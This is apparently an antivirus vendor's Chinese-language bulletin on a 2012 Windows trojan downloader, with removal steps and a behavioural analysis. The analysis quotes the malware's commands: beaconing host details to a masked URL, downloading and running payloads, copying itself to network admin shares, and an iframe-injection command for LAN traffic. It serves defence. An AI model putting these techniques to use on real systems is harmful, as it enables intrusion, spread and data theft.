木馬下載者
Trojan-Downloader.Win32.Agent.cbov
捕獲時間
2012-07-19
危害等級
中
病毒癥狀
該樣本是使用“VC ”編寫的“木馬下載器”，由微點主動防御軟件自動捕獲,長度為“32,768”字節，圖標為“
”，使用“exe”擴展名，通過文件捆綁、網頁掛馬、下載器下載等方式進行傳播。
病毒主要目的是指引用戶計算機到黑客指定的URL地址去下載更多的病毒或木馬后門文件并運行。
用戶中毒后會出現電腦的運行速度變慢，殺軟無故退出而不能啟動，出現大量未知進程等現象。
感染對象
Windows 2000/Windows XP/Windows 2003/Windows Vista/ Windows 7
傳播途徑
文件捆綁、網頁掛馬、下載器下載
防范措施
已安裝使用微點主動防御軟件的用戶，無須任何設置，微點主動防御將自動保護您的系統免受該病毒的入侵和破壞。無論您是否已經升級到最新版本，微點主動防御都能夠有效清除該病毒。如果您沒有將微點主動防御軟件升級到最新版，微點主動防御軟件在發現該病毒后將報警提示您發現“未知木馬”，請直接選擇刪除處理（如圖1）
圖1 微點主動防御軟件自動捕獲未知病毒（未升級）
如果您已經將微點主動防御軟件升級到最新版本，微點將報警提示您發現木馬"Trojan-Downloader.Win32.Agent.cbov”，請直接選擇刪除（如圖2）。
圖2 微點主動防御軟件升級后截獲已知病毒
未安裝微點主動防御軟件的手動解決辦法：
1.手動停止并刪除名字為"系統關鍵服務"的服務
2.手動刪除文件
"%SystemDriver%\sj.exe"
"%SystemDriver%\1.vbs"
"%ProgramFiles%\smss.exe"
"%SystemDriver%\arp.exe"
"\\192.168.*.*\admin$\hackshen.exe"
"\\192.168.*.*\C$\hackshen.exe"
"\\192.168.*.*\D$\hackshen.exe"
"\\192.168.*.*\E$\hackshen.exe"
"\\192.168.*.*\F$\hackshen.exe"
"%ProgramFiles%\*.exe（*為數字）"
變量聲明：
%SystemDriver% 系統所在分區，通常為“C:\”
%SystemRoot% WINDODWS所在目錄，通常為“C:\Windows”
%Documents and Settings% 用戶文檔目錄，通常為“C:\Documents and Settings”
%Temp% 臨時文件夾，通常為“C:\Documents and Settings\當前用戶名稱\Local Settings\Temp”
%ProgramFiles% 系統程序默認安裝目錄，通常為：“C:\ProgramFiles”
病毒分析：
1.創建文件"C:\1.ini"，寫入文件路徑信息，讀取其中的文件名信息，之后刪除該文件。
2.創建文件"C:\sj.exe"，寫入病毒數據，執行該文件。
3.創建文件"C:\1.vbs"，寫入病毒數據，執行該文件，訪問網址"http://je7.3***.org:506/sxjjj.htm"。
4."C:\sj.exe"執行之后：
(1)獲取系統目錄，將文件"C:\sj.exe"拷貝重命名為"C:\Program Files\smss.exe"，并向其尾部寫入大量空數據，之后執行該文件。
(2)打開服務控制管理器，創建名字為"系統關鍵服務"的服務，啟動類型為自動，執行映像為"C:\Program Files\smss.exe"。
(3)創建新進程，執行"C:\WINDOWS\system32\cmd.exe /c del C:\sj.exe > nul"將自身刪除。
5."C:\Program Files\smss.exe"執行之后：
(1)獲取本地計算機名、操作系統版本、mac地址等信息，拼接并打開網址"http://www.1***.cc/count.asp?mac=000C29**44FE&ver=2011&makedate=2011-12-1620:2:15&userID=user&ComPut=zg-81**c0&os=Windows XP&key=**"，將信息發送到遠程網址。
(2)開辟新線程,下載文件"http://poy.f****.in:3373/z/arp.exe"保存為"C:\arp.exe"，并執行該文件。將文件"C:\Program Files\smss.exe"拷貝到共享目錄"\\192.168.*.*\admin$\hackshen.exe"、"\\192.168.*.*\C$\hackshen.exe"、"\\192.168.*.*\ D$\hackshen.exe"、"\\192.168.*.*\E$\hackshen.exe"、"\\192.168.*.*\F$\hackshen.exe"并執行。
(3)開辟新線程，獲取本地ip地址，循環執行"c:\temp\scvhost.exe -idx 0 -ip 192.168.*.*-192.168.*.255 -port 80 -insert "<iframe src=http://poy.fe***.in:2385/ar/ar.html width=50 height=1></iframe>""。
(4)下載文件"http://poy.fe***.in:3373/z/ad.txt"保存為"C:\log.txt"，讀取其中的網址信息，并不停從其中下載大量病毒文件"C:\Program Files\*.exe"執行，之后將文件"C:\log.txt"刪除。
病毒創建文件：
"%SystemDriver%\1.ini"
"%SystemDriver%\sj.exe"
"%SystemDriver%\1.vbs"
"%ProgramFiles%\smss.exe"
"%SystemDriver%\arp.exe"
"\\192.168.*.*\admin$\hackshen.exe"
"\\192.168.*.*\C$\hackshen.exe"
"\\192.168.*.*\D$\hackshen.exe"
"\\192.168.*.*\E$\hackshen.exe"
"\\192.168.*.*\F$\hackshen.exe"
"%SystemDriver%\log.txt"
"%ProgramFiles%\*.exe"
病毒訪問網絡：
"http://je7.3***.org:506/sxjjj.htm"
"http://www.1***.cc/count.asp?mac=*********"
"http://poy.fe***.in:3373/z/ad.txt"
"http://poy.fe***.in:2385/ar/ar.html"
病毒刪除文件：
"%SystemDriver%\1.ini"
"%SystemDriver%\sj.exe"
"%SystemDriver%\log.txt"
